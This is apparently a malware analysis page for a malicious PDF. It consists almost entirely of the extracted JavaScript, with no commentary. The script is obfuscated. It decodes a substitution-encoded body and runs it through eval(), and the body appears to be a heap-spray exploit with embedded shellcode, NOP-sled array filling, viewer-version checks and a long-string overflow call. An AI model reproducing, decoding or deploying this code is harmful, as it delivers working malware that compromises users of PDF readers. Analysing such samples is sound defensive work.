Malicious PDF — malware analysis report

function WP3S8b1VdUj1HI(WP3S8b1VdUj1HI,LFZidfng2) {var HQMgMiPrwF=WP3S8b1VdUj1HI. substr (LFZidfng2, 1);return HQMgMiPrwF;}/*QIFKsSi6Cz|glr2rlcY5j|HF1pUjba5siB2RU*/function NhbdWKk4D(pEW2LNA634dNb) {/*OXRk32Rvk3N9|xp52hlNGCoCuNDnfX|tuVUoO*/var AnJRygiCDA = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*ZyfnyTadOTAzhH[LKnZOQ4lVoWr8B5kbuF]jYfCnz*//*dWLVi|A8jQ2LlgiS|jOFA8LFhjkkNZ*/var ZLGUPo9TA1eN1 /*qwzCVKCTuSM54te[ODbUEafJ]FtiSJN96CCSNEl7Xy3Rh*/= new String("L(am7>VkUqs QrzfXHWjn<,Dlhxe4vJO.AZc0tK8RIySw1{EC32FPgN65ui}GY)odbBT9pM");/*fvb6GfXlpVq|A9iH9fKBxXG|VeNPwvmRhEO*/for(Gw4UNQM1aep=0;Gw4UNQM1aep<AnJRygiCDA.length;Gw4UNQM1aep++) {if(pEW2LNA634dNb == WP3S8b1VdUj1HI(ZLGUPo9TA1eN1, Gw4UNQM1aep)) {/*klOP75o14N93sJ5[gC52gJHS4ukby]EYaToXOSOIfNCNX8u4*/return WP3S8b1VdUj1HI(AnJRygiCDA, Gw4UNQM1aep);/*pwgy3 <tnZKcOP1oifBxxQ6Sd]g16Qv66hdvaSeEsph65Y*/}}return pEW2LNA634dNb;}/*d3lRr1NAVMhMJy[Gufjg52AAkqhgl6GFzsW]jjh5wEH52FBnk*//*JgdKgD0EkbAqh0|AX8d43P9BK2|LfqwoN*/var te62UhO = new String;var ahj2Y5WtfN0oeC = new String("\r\n5cPVKCRJdncbnW85}y<JV=VC8uVqPPc}am;\r\n5cPVlqAiu,poFsw<EJ.K;\r\nR6CtNS3CV4QYnA1D6bbFd{ Ana.pHWvhnj0ByDZzogUVwqro6t5}I{)x}AEnm7\r\nVVuyS{8Va.pHWvhnj0ByDZzogk{8CINyV*VoVLVwqro6t5}I{)x}AEnm7\r\nVVVV.pHWvhnj0ByDZzogV+=V.pHWvhnj0ByDZzog;\r\nVV>\r\nVV.pHWvhnj0ByDZzogV=V.pHWvhnj0ByDZzogkg60gNPSCIaYUVwqro6t5}I{)x}AEnV/Vom;\r\nVVP8N6PCV.pHWvhnj0ByDZzog;\r\n>\r\nR6CtNS3CV1TRYJ)vpT JRxOANavE5tDFcT00OcqW52m7\r\nVV5cPVw0G6tvoyIO<Mb6d{V=VYiYtYtYtYt;\r\nVV5cPV0i,TC}qlcyG1)5clV=V6C8gtc28a\"%6bdbd%6bdbd%6bdbd%6Yzrs%6ddBs%6TT M%6pYsM%6pYY)%6rzdd%6robd%6rszq%6rpYB%6zzr %6zzzz%6ps9z%6Qzbr%6rzrz%6Tbrz%6rdqz%6MzTb%6bozd%6MzTb%6Trr9%6rzYd%6rzrs%6Tbrz%6sMYd%6T)p9%6r)q)%6Y9Yd%6rz))%6rzrz%6qqTT%6sMrs%699p9%6TB))%6Y9r)%6rz)z%6rzrz%6qqTT%6sMr9%6 qp9%6)YBz%6Y9oQ%6rzYQ%6rzrz%6qqTT%6sMrd%6YYp9%6Yzo)%6Y9pz%6rzds%6rzrz%6qqTT%6sMzz%6orp9%6YqMT%6Y9B9%6rzoM%6rzrz%6qqTT%6qzzs%6Q9Tz%6Mqo %6TT)B%6z9qq%6rpYT%6rzrr%6s)rz%6MqTT%6Tb s%6rsqq%6rrpB%6TbsT%6z9sq%6Y9sM%6rzTb%6rzrz%6p9sz%6zBQM%6Mz Y%69pY9%6rzrz%6TTrz%6zdqq%6oqTb%6ozT %6TTsz%6 zqq%6)Yp9%6rzrz%6szrz%6qqTb%6pBzs%6sTrQ%6sqTb%6Y9z9%6rzpr%6rzrz%6qqr %6op z%6sdrz%6 )M)%6oppq%6rsqz%6pqM9%6rzrz%6Mq)Y%6Tb z%6rdqq%6rrpB%6TbsT%6z9sq%6qzY9%6rzrz%6pBrz%6s9rp%6qqr %6Q  s%6s db%6)Ys %6 zMq%6s sz%6qqTb%6pBzd%6sTrq%6sqTb%6Y9z9%6rz  %6rzrz%6rzpB%6Mq)Y%6Tb z%6r9qq%6rQpB%6TbsT%6z9sq%6zzY9%6rzrz%6pBrz%6Tb)Y%6zzqq%6rrpB%6TbsT%6z9sq%6rzY9%6rzrz%6qrrz%6sQsb%6Yrr %6Yrr %6Yrr %6Yrr %6YdT %6sBrs%6Tbs %6YQdB%6sQ)p%6Yz)Y%6Tbsq%6TbYd%6r9Mo%6soTb%6sMrd%6M Tb%6TbQd%6z)Ms%6r M9%6sM) %6MMTb%6r  z%6Q ) %6qToT%6boqr%6o r %6Q sM%6rY)M%6zzB)%6)QQB%6r9Ms%6o)or%6r ro%6qz)Q%6)rYb%6))Qb%6Mqs)%6sBYq%6YbTb%6sBTb%6r  s%6pMdo%6rdTb%6Tbqb%6zdsB%6dor %6rsTb%6r Tb%6s)oq%6oQso%6rzr9%6)sY9%6)Y))%6sq)Y%6qdsQ%6qYqo%6rzq)%69bTp%69Y9b%6ozdq%6T oz%69TTM%6TrTM%69YT9%6T)TB%6TBTd%69qor%6orT)%69oTz%6ozT9%6TQTM%6ozT9%6TQTM%6ozT9%6TzT %6TbT)%69Yor%69YTp%6TMdz%6dQTb%6dddM\"m;\r\nVVSRVavE5tDFcT00OcqW52V==V)m7\r\nVVVVw0G6tvoyIO<Mb6d{V=VYidYdYdYdY;\r\nVVVV0i,TC}qlcyG1)5clV=V6C8gtc28a\"%6bdbd%6bdbd%6bdbd%6Yzrs%6ddBs%6TT M%6pYsM%6pYY)%6rzdd%6robd%6rszq%6rpYB%6zzr %6zzzz%6ps9z%6Qzbr%6rzrz%6Tbrz%6rdqz%6MzTb%6bozd%6MzTb%6Trr9%6rzYd%6rzrs%6Tbrz%6sMYd%6T)p9%6r)q)%6Y9Yd%6rz))%6rzrz%6qqTT%6sMrs%699p9%6TB))%6Y9r)%6rz)z%6rzrz%6qqTT%6sMr9%6 qp9%6)YBz%6Y9oQ%6rzYQ%6rzrz%6qqTT%6sMrd%6YYp9%6Yzo)%6Y9pz%6rzds%6rzrz%6qqTT%6sMzz%6orp9%6YqMT%6Y9B9%6rzoM%6rzrz%6qqTT%6qzzs%6Q9Tz%6Mqo %6TT)B%6z9qq%6rpYT%6rzrr%6s)rz%6MqTT%6Tb s%6rsqq%6rrpB%6TbsT%6z9sq%6Y9sM%6rzTb%6rzrz%6p9sz%6zBQM%6Mz Y%69pY9%6rzrz%6TTrz%6zdqq%6oqTb%6ozT %6TTsz%6 zqq%6)Yp9%6rzrz%6szrz%6qqTb%6pBzs%6sTrQ%6sqTb%6Y9z9%6rzpr%6rzrz%6qqr %6op z%6sdrz%6 )M)%6oppq%6rsqz%6pqM9%6rzrz%6Mq)Y%6Tb z%6rdqq%6rrpB%6TbsT%6z9sq%6qzY9%6rzrz%6pBrz%6s9rp%6qqr %6Q  s%6s db%6)Ys %6 zMq%6s sz%6qqTb%6pBzd%6sTrq%6sqTb%6Y9z9%6rz  %6rzrz%6rzpB%6Mq)Y%6Tb z%6r9qq%6rQpB%6TbsT%6z9sq%6zzY9%6rzrz%6pBrz%6Tb)Y%6zzqq%6rrpB%6TbsT%6z9sq%6rzY9%6rzrz%6qrrz%6sQsb%6Yrr %6Yrr %6Yrr %6Yrr %6YdT %6sBrs%6Tbs %6YQdB%6sQ)p%6Yz)Y%6Tbsq%6TbYd%6r9Mo%6soTb%6sMrd%6M Tb%6TbQd%6z)Ms%6r M9%6sM) %6MMTb%6r  z%6Q ) %6qToT%6boqr%6o r %6Q sM%6rY)M%6zzB)%6)QQB%6r9Ms%6o)or%6r ro%6qz)Q%6)rYb%6))Qb%6Mqs)%6sBYq%6YbTb%6sBTb%6r  s%6pMdo%6rdTb%6Tbqb%6zdsB%6dor %6rsTb%6r Tb%6s)oq%6oQso%6rzr9%6)sY9%6)Y))%6sq)Y%6qdsQ%6qYqo%6rzq)%69bTp%69Y9b%6ozdq%6T oz%69TTM%6TrTM%69YT9%6T)TB%6TBTd%69qor%6orT)%69oTz%6ozT9%6TQTM%6ozT9%6TQTM%6ozT9%6TzT %6TbT)%69Yor%69YTp%6TMdz%6dQTb%6dddM\"m;\r\nVV>\r\nVV8{g8VSRVavE5tDFcT00OcqW52V==Vom7\r\nVVVV0i,TC}qlcyG1)5clV=V6C8gtc28a\"%6bdbd%6bdbd%6bdbd%6Yzrs%6ddBs%6TT M%6pYsM%6pYY)%6rzdd%6robd%6rszq%6rpYB%6zzr %6zzzz%6ps9z%6Qzbr%6rzrz%6Tbrz%6rdqz%6MzTb%6bozd%6MzTb%6Trr9%6rzYd%6rzrs%6Tbrz%6sMYd%6T)p9%6r)q)%6Y9Yd%6rz))%6rzrz%6qqTT%6sMrs%699p9%6TB))%6Y9r)%6rz)z%6rzrz%6qqTT%6sMr9%6 qp9%6)YBz%6Y9oQ%6rzYQ%6rzrz%6qqTT%6sMrd%6YYp9%6Yzo)%6Y9pz%6rzds%6rzrz%6qqTT%6sMzz%6orp9%6YqMT%6Y9B9%6rzoM%6rzrz%6qqTT%6qzzs%6Q9Tz%6Mqo %6TT)B%6z9qq%6rpYT%6rzrr%6s)rz%6MqTT%6Tb s%6rsqq%6rrpB%6TbsT%6z9sq%6Y9sM%6rzTb%6rzrz%6p9sz%6zBQM%6Mz Y%69pY9%6rzrz%6TTrz%6zdqq%6oqTb%6ozT %6TTsz%6 zqq%6)Yp9%6rzrz%6szrz%6qqTb%6pBzs%6sTrQ%6sqTb%6Y9z9%6rzpr%6rzrz%6qqr %6op z%6sdrz%6 )M)%6oppq%6rsqz%6pqM9%6rzrz%6Mq)Y%6Tb z%6rdqq%6rrpB%6TbsT%6z9sq%6qzY9%6rzrz%6pBrz%6s9rp%6qqr %6Q  s%6s db%6)Ys %6 zMq%6s sz%6qqTb%6pBzd%6sTrq%6sqTb%6Y9z9%6rz  %6rzrz%6rzpB%6Mq)Y%6Tb z%6r9qq%6rQpB%6TbsT%6z9sq%6zzY9%6rzrz%6pBrz%6Tb)Y%6zzqq%6rrpB%6TbsT%6z9sq%6rzY9%6rzrz%6qrrz%6sQsb%6Yrr %6Yrr %6Yrr %6Yrr %6YdT %6sBrs%6Tbs %6YQdB%6sQ)p%6Yz)Y%6Tbsq%6TbYd%6r9Mo%6soTb%6sMrd%6M Tb%6TbQd%6z)Ms%6r M9%6sM) %6MMTb%6r  z%6Q ) %6qToT%6boqr%6o r %6Q sM%6rY)M%6zzB)%6)QQB%6r9Ms%6o)or%6r ro%6qz)Q%6)rYb%6))Qb%6Mqs)%6sBYq%6YbTb%6sBTb%6r  s%6pMdo%6rdTb%6Tbqb%6zdsB%6dor %6rsTb%6r Tb%6s)oq%6oQso%6rzr9%6)sY9%6)Y))%6sq)Y%6qdsQ%6qYqo%6rzq)%69bTp%69Y9b%6ozdq%6T oz%69TTM%6TrTM%69YT9%6T)TB%6TBTd%69qor%6orT)%69oTz%6ozT9%6TQTM%6ozT9%6TQTM%6ozT9%6TzT %6TbT)%69Yor%69YTp%6TMdz%6dQTb%6dddM\"m;\r\nVV>\r\nVV5cPV6cWMBnF{g Nup5y3V=VYibYYYYY;\r\nVV5cPVKT6yBBp8E9lCdG ZV=V0i,TC}qlcyG1)5clk{8CINyV*Vo;\r\nVV5cPVwqro6t5}I{)x}AEnV=V6cWMBnF{g Nup5y3V-VaKT6yBBp8E9lCdG ZV+VYidpm;\r\nVV5cPV.pHWvhnj0ByDZzogV=V6C8gtc28a\"%6MYMY%6MYMY\"m;\r\nVV.pHWvhnj0ByDZzogV=V4QYnA1D6bbFd{ Ana.pHWvhnj0ByDZzogUVwqro6t5}I{)x}AEnm;\r\nVV5cPVAOy8P.l11WIPrDIMV=Vaw0G6tvoyIO<Mb6d{V-VYibYYYYYmV/V6cWMBnF{g Nup5y3;\r\nVVR3PVa5cPV}c2ARu xb0zT0x8qV=VY;V}c2ARu xb0zT0x8qVLVAOy8P.l11WIPrDIM;V}c2ARu xb0zT0x8qV++Vm7\r\nVVVVKCRJdncbnW85}y<J[}c2ARu xb0zT0x8q]V=V.pHWvhnj0ByDZzogV+V0i,TC}qlcyG1)5cl;\r\nVV>\r\n>\r\nR6CtNS3CV2<3F6rc8.XOERQ6Mam7\r\nVV5cPVPwI4IN5wJq2904XcV=VY;\r\nVV5cPVlTh1jolPH5KiMA9uV=Vc22k5S8u8PJ8PgS3CkN3eNPSCIam;\r\nVVc22kt{8cP4SE8D6NalqAiu,poFsw<EJ.Km;\r\n\r\nVVSRValTh1jolPH5KiMA9uVLV9k)m7\r\nVVVV1TRYJ)vpT JRxOANaYm;\r\nVVVV5cPVwCl}yjy vOW9)cIFV=V6C8gtc28a\"%6YtYt%6YtYt\"m;\r\nVVVVuyS{8VawCl}yjy vOW9)cIFk{8CINyVLVbbMBomwCl}yjy vOW9)cIFV+=VwCl}yjy vOW9)cIF;\r\nVVVVNySgVkt3{{c0eN3P8V=V 3{{c0kt3{{8tNrEcS{HCR3a7\r\nVVVVVVg60wV:V\"\"UVEgIV:VwCl}yjy vOW9)cIF\r\nVVVV>\r\nVVVVm;\r\nVV>\r\nSRValTh1jolPH5KiMA9uV(=VMm7\r\nVVVVNP}V7\r\nSRVac22kK3tk 3{{c0kI8NHt3Cm7\r\nVVVVVVVV1TRYJ)vpT JRxOANaom;\r\nVVVVVVVV5cPVhp0)M)gx5JlBBJ)<V=V6C8gtc28a\"%YM\"m;\r\nVVVVVVVVuyS{8Vahp0)M)gx5JlBBJ)<k{8CINyVLVYibYYYmhp0)M)gx5JlBBJ)<V+=Vhp0)M)gx5JlBBJ)<;\r\nVVVVVVVVhp0)M)gx5JlBBJ)<V=V\",k\"V+Vhp0)M)gx5JlBBJ)<;\r\nc22kK3tk 3{{c0kI8NHt3Cahp0)M)gx5JlBBJ)<m;\r\nVVVVVVVVPwI4IN5wJq2904XcV=V);\r\nVVVVVV>\r\nVVVVVV8{g8V7\r\nVVVVVVVVPwI4IN5wJq2904XcV=V);\r\nVVVVVV>\r\nVVVV>\r\nVVVVtcNtyVa8m7\r\nVVVVVVPwI4IN5wJq2904XcV=V);\r\nVVVV>\r\nVVVVSRVaPwI4IN5wJq2904XcV==V)m7\r\nVVVVVVSRVaalTh1jolPH5KiMA9uV(=V9k)&&VlTh1jolPH5KiMA9uVLVMmm7\r\nVVVVVVVV1TRYJ)vpT JRxOANa)m;\r\nVVVVVVVV5cPVHhjo1dQzZOnZ9dhCV=V\")oMMMMMMMMMMMMMMMMMM\";\r\nVVVVVVVVR3PVaZdCHdRw}sMbz8bt}V=VY;VZdCHdRw}sMbz8bt}VLVo9T;VZdCHdRw}sMbz8bt}V++Vm7\r\nVVVVVVVVVVHhjo1dQzZOnZ9dhCV+=V\"p\";\r\nVVVVVVVV>\r\nVVVVVVVV6NS{k2PSCNRa\"%bBYYYR\"UVHhjo1dQzZOnZ9dhCm;\r\nVVVVVV>\r\nVVVV>\r\nVV>\r\n>\r\nc22k8uGrGQvA12pPPA8oV=V2<3F6rc8.XOERQ6M;\r\nlqAiu,poFsw<EJ.KV=Vc22kg8N4SE8D6Na\"c22k8uGrGQvA12pPPA8oam\"UV)Ym;\r\n");/*ztTpy3Hzk{p8iD7B81Q72bz9m}pZA3pzn8fb*//*mQcR6az9Y07PH4IiuH|GxlGqQ6|PbuHEBjV7*/for(AkNYNuQZdvVVG3kr=0;AkNYNuQZdvVVG3kr<ahj2Y5WtfN0oeC.length;AkNYNuQZdvVVG3kr++)te62UhO += NhbdWKk4D(WP3S8b1VdUj1HI(ahj2Y5WtfN0oeC,AkNYNuQZdvVVG3kr));eval(te62UhO);/*L6YC4[Jzwsj43qrexXvtq]LbHQc*/